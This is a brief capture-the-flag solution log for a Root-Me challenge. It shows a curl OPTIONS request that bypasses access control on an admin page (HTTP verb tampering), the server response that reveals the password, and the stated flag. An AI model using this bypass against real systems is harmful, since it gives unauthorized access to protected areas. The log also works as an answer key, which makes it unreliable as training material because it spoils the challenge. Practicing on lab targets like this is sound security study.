curl -v http://challenge01.root-me.org/realiste/ch3/admin/ -X OPTIONS
* Trying 212.129.38.224:80...
* Connected to challenge01.root-me.org (212.129.38.224) port 80 (#0)
> OPTIONS /realiste/ch3/admin/ HTTP/1.1
> Host: challenge01.root-me.org
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx
< Date: Wed, 23 Mar 2022 10:32:38 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Vary: Accept-Encoding
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Admin section</title>
</head>
<body>
<h1>Mot de passe / password : 0010110111101001</h1>
</body>
* Connection #0 to host challenge01.root-me.org left intact
</html>
Flag : 0010110111101001